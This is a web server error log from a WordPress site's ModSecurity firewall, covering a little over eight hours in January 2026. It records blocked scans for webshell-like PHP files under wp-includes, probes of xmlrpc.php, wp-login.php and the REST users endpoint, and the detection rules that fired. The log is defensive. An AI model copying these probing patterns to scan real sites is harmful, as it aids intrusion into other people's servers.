[Mon Jan 12 21:14:03.059680 2026] [:error] [pid 51896:tid 51910] [client 170.106.181.163:33336] [client 170.106.181.163] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWTzm92Y52W2afNXn_WZkAAAAks"]
[Mon Jan 12 21:26:38.029950 2026] [:error] [pid 48105:tid 48157] [client 184.168.126.97:55978] [client 184.168.126.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 184.168.126.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWT2jjbe4SdLfSmtJe2XIgAAAFE"]
[Mon Jan 12 21:57:34.406111 2026] [:error] [pid 9303:tid 9326] [client 89.234.36.210:45752] [client 89.234.36.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.234.36.210, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWT9ztEoWhpeQ69gVtH-uQAAAVQ"]
[Mon Jan 12 22:39:12.241019 2026] [:error] [pid 51956:tid 51974] [client 89.163.146.30:36366] [client 89.163.146.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.163.146.30, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWUHkEb_j3zpZfEgGM8zygAAAtA"]
[Mon Jan 12 23:11:16.865481 2026] [:error] [pid 51896:tid 51918] [client 148.113.16.174:55172] [client 148.113.16.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.16.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWUPFN2Y52W2afNXn_WmbQAAAlM"]
[Tue Jan 13 00:38:46.527899 2026] [:error] [pid 51637:tid 51655] [client 66.175.44.54:35578] [client 66.175.44.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.175.44.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWUjlnrTvTmO_ovDgVARxAAAAYw"]
[Tue Jan 13 01:21:47.046521 2026] [:error] [pid 48213:tid 48222] [client 45.77.19.87:42436] [client 45.77.19.87] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.77.19.87, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWUtq2RmaItaLCBvAhgl8gAAAMc"]
[Tue Jan 13 01:44:29.890360 2026] [:error] [pid 51637:tid 51655] [client 217.154.45.231:55156] [client 217.154.45.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.45.231, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWUy_XrTvTmO_ovDgVAf2gAAAYw"]
[Tue Jan 13 01:53:41.899669 2026] [:error] [pid 9303:tid 9310] [client 103.39.83.85:2299] [client 103.39.83.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.39.83.85, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWU1JdEoWhpeQ69gVtEhrQAAAUQ"]
[Tue Jan 13 02:06:25.707888 2026] [:error] [pid 51956:tid 51959] [client 43.153.35.128:36408] [client 43.153.35.128] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWU4IUb_j3zpZfEgGM9F6QAAAsE"]
[Tue Jan 13 02:33:31.704192 2026] [:error] [pid 48105:tid 48163] [client 104.28.156.139:33320] [client 104.28.156.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.156.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWU-ezbe4SdLfSmtJe2_dQAAAFc"]
[Tue Jan 13 02:33:53.191561 2026] [:error] [pid 48106:tid 48173] [client 104.28.156.139:34411] [client 104.28.156.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.156.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWU-ke_rz8jTZY4aXpSfjwAAAIY"]
[Tue Jan 13 02:34:14.173665 2026] [:error] [pid 51986:tid 52027] [client 104.28.156.139:32439] [client 104.28.156.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.156.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWU-phiI5CoFGIbwGZaYTAAAA0w"]
[Tue Jan 13 02:35:30.819527 2026] [:error] [pid 51986:tid 52035] [client 34.132.100.236:35978] [client 34.132.100.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.132.100.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWU-8hiI5CoFGIbwGZaYcAAAA1Q"]
[Tue Jan 13 02:35:33.399685 2026] [:error] [pid 48105:tid 48149] [client 34.132.100.236:35980] [client 34.132.100.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.132.100.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWU-9Tbe4SdLfSmtJe2_nAAAAEk"]
[Tue Jan 13 02:35:35.493999 2026] [:error] [pid 9303:tid 9307] [client 34.132.100.236:35994] [client 34.132.100.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.132.100.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWU-99EoWhpeQ69gVtEm0gAAAUE"]
[Tue Jan 13 02:35:55.278845 2026] [:error] [pid 9303:tid 9314] [client 116.62.197.107:57678] [client 116.62.197.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.62.197.107, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWU_C9EoWhpeQ69gVtEm2gAAAUg"]
[Tue Jan 13 02:35:58.374267 2026] [:error] [pid 51986:tid 52028] [client 116.62.197.107:57806] [client 116.62.197.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.62.197.107, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWU_DhiI5CoFGIbwGZaYdgAAA00"]
[Tue Jan 13 02:36:01.663645 2026] [:error] [pid 51637:tid 51655] [client 116.62.197.107:57992] [client 116.62.197.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.62.197.107, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWU_EXrTvTmO_ovDgVAoyAAAAYw"]
[Tue Jan 13 03:02:54.304525 2026] [:error] [pid 51896:tid 51907] [client 111.88.16.160:47264] [client 111.88.16.160] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aWVFXt2Y52W2afNXn_W6agAAAkg"]
[Tue Jan 13 03:04:20.031631 2026] [:error] [pid 48106:tid 48182] [client 111.88.16.160:47980] [client 111.88.16.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 111.88.16.160, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWVFtO_rz8jTZY4aXpSiQQAAAI8"]
[Tue Jan 13 03:05:28.924002 2026] [:error] [pid 9303:tid 9309] [client 111.88.16.160:47723] [client 111.88.16.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 111.88.16.160, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWVF-NEoWhpeQ69gVtEquAAAAUM"]
[Tue Jan 13 03:06:30.734607 2026] [:error] [pid 51986:tid 52027] [client 111.88.16.160:47728] [client 111.88.16.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 111.88.16.160, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWVGNhiI5CoFGIbwGZaa5wAAA0w"]
[Tue Jan 13 03:07:24.818282 2026] [:error] [pid 51896:tid 51917] [client 111.88.16.160:47287] [client 111.88.16.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 111.88.16.160, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWVGbN2Y52W2afNXn_W6mwAAAlI"]
[Tue Jan 13 03:08:39.480175 2026] [:error] [pid 48213:tid 48219] [client 111.88.16.160:47017] [client 111.88.16.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 111.88.16.160, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWVGt2RmaItaLCBvAhgwvQAAAMQ"]
[Tue Jan 13 03:29:55.826755 2026] [:error] [pid 57756:tid 57776] [client 43.156.202.34:40288] [client 43.156.202.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWVLsxb7B3uqOEHw10mnhAAAANI"]
[Tue Jan 13 03:45:52.600412 2026] [:error] [pid 57756:tid 57782] [client 159.100.30.33:58250] [client 159.100.30.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.100.30.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWVPcBb7B3uqOEHw10mq_QAAANg"]
[Tue Jan 13 04:10:59.885415 2026] [:error] [pid 57756:tid 57779] [client 162.220.234.111:59980] [client 162.220.234.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.220.234.111, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWVVUxb7B3uqOEHw10mwnwAAANU"]
[Tue Jan 13 04:35:26.949270 2026] [:error] [pid 26395:tid 26406] [client 208.109.188.137:56142] [client 208.109.188.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 208.109.188.137, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWVbDphRkuVub9GmnFj03QAAAQk"]
[Tue Jan 13 05:17:18.127771 2026] [autoindex:error] [pid 57660:tid 57740] [client 74.225.244.89:64336] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Tue Jan 13 05:17:33.955704 2026] [autoindex:error] [pid 57660:tid 57733] [client 74.225.244.89:64336] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Tue Jan 13 05:17:36.652187 2026] [autoindex:error] [pid 57660:tid 57718] [client 74.225.244.89:64336] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Tue Jan 13 05:17:36.792339 2026] [autoindex:error] [pid 57660:tid 57722] [client 74.225.244.89:64336] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Tue Jan 13 05:17:36.927505 2026] [:error] [pid 57660:tid 57717] [client 74.225.244.89:64336] [client 74.225.244.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aWVk8NMDflPZjoqTTeFHBgAAAIA"], referer: https://www.google.com/
[Tue Jan 13 05:17:37.204310 2026] [autoindex:error] [pid 57653:tid 57665] [client 74.225.244.89:63521] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Tue Jan 13 05:17:37.341163 2026] [:error] [pid 57653:tid 57667] [client 74.225.244.89:63521] [client 74.225.244.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/buttons/index.php"] [unique_id "aWVk8YVjCK8w3mABKuGVGwAAAAU"], referer: https://www.google.com/
[Tue Jan 13 05:17:37.614636 2026] [:error] [pid 57653:tid 57671] [client 74.225.244.89:64979] [client 74.225.244.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/gallery/index.php"] [unique_id "aWVk8YVjCK8w3mABKuGVHAAAAAk"], referer: https://www.yahoo.com/
[Tue Jan 13 05:17:37.892829 2026] [:error] [pid 26395:tid 26412] [client 74.225.244.89:64266] [client 74.225.244.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/list-item/index.php"] [unique_id "aWVk8ZhRkuVub9GmnFgHEwAAAQ8"], referer: https://www.google.co.uk/
[Tue Jan 13 05:17:38.164189 2026] [:error] [pid 57659:tid 57702] [client 74.225.244.89:64265] [client 74.225.244.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/media-text/index.php"] [unique_id "aWVk8opeWOFQSBXk4xqxnQAAAEw"], referer: https://www.google.fr/
[Tue Jan 13 05:17:38.440592 2026] [:error] [pid 26395:tid 26418] [client 74.225.244.89:64992] [client 74.225.244.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/nextpage/index.php"] [unique_id "aWVk8phRkuVub9GmnFgHFAAAARU"], referer: https://www.bing.com/
[Tue Jan 13 05:17:38.715333 2026] [:error] [pid 57660:tid 57740] [client 74.225.244.89:64325] [client 74.225.244.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/search/index.php"] [unique_id "aWVk8tMDflPZjoqTTeFHCgAAAJc"], referer: https://www.google.co.uk/
[Tue Jan 13 05:17:38.987456 2026] [:error] [pid 57756:tid 57759] [client 74.225.244.89:64294] [client 74.225.244.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/html-api/index.php"] [unique_id "aWVk8hb7B3uqOEHw10nEOQAAAME"], referer: https://www.yahoo.com/
[Tue Jan 13 05:17:39.259974 2026] [:error] [pid 57756:tid 57760] [client 74.225.244.89:64907] [client 74.225.244.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/index.php"] [unique_id "aWVk8xb7B3uqOEHw10nEOwAAAMI"], referer: https://duckduckgo.com/
[Tue Jan 13 05:17:39.546058 2026] [:error] [pid 57660:tid 57731] [client 74.225.244.89:64290] [client 74.225.244.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aWVk89MDflPZjoqTTeFHCwAAAI4"], referer: https://www.bing.com/
[Tue Jan 13 05:17:48.602181 2026] [proxy_fcgi:error] [pid 57653:tid 57685] [client 4.197.89.35:29465] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Tue Jan 13 05:17:48.619508 2026] [:error] [pid 57653:tid 57674] [client 4.197.89.35:29465] [client 4.197.89.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.197.89.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aWVk_IVjCK8w3mABKuGVKQAAAAw"], referer: https://www.bing.com/
[Tue Jan 13 05:17:48.624675 2026] [proxy_fcgi:error] [pid 57653:tid 57674] [client 4.197.89.35:29465] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Tue Jan 13 05:17:55.283231 2026] [:error] [pid 57653:tid 57677] [client 4.197.89.35:29465] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aWVlA4VjCK8w3mABKuGVOwAAAA8"], referer: https://www.google.de/
[Tue Jan 13 05:17:55.319157 2026] [:error] [pid 26395:tid 26401] [client 4.197.89.35:29310] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aWVlA5hRkuVub9GmnFgHLwAAAQQ"], referer: https://www.google.de/
[Tue Jan 13 05:17:55.355423 2026] [:error] [pid 26395:tid 26411] [client 4.197.89.35:28101] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/autoload_classmap.php"] [unique_id "aWVlA5hRkuVub9GmnFgHMAAAAQ4"], referer: https://duckduckgo.com/
[Tue Jan 13 05:17:56.730826 2026] [:error] [pid 26395:tid 26421] [client 4.197.89.35:48809] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/chosen.php"] [unique_id "aWVlBJhRkuVub9GmnFgHNQAAARg"], referer: https://www.yahoo.com/
[Tue Jan 13 05:17:56.765383 2026] [:error] [pid 57659:tid 57691] [client 4.197.89.35:19504] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aWVlBIpeWOFQSBXk4xqxqwAAAEE"], referer: https://www.google.de/
[Tue Jan 13 05:17:56.803062 2026] [:error] [pid 57756:tid 57775] [client 4.197.89.35:48799] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aWVlBBb7B3uqOEHw10nEUAAAANE"], referer: https://www.google.com/
[Tue Jan 13 05:17:56.845864 2026] [:error] [pid 57653:tid 57670] [client 4.197.89.35:43838] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aWVlBIVjCK8w3mABKuGVPAAAAAg"], referer: https://www.yahoo.com/
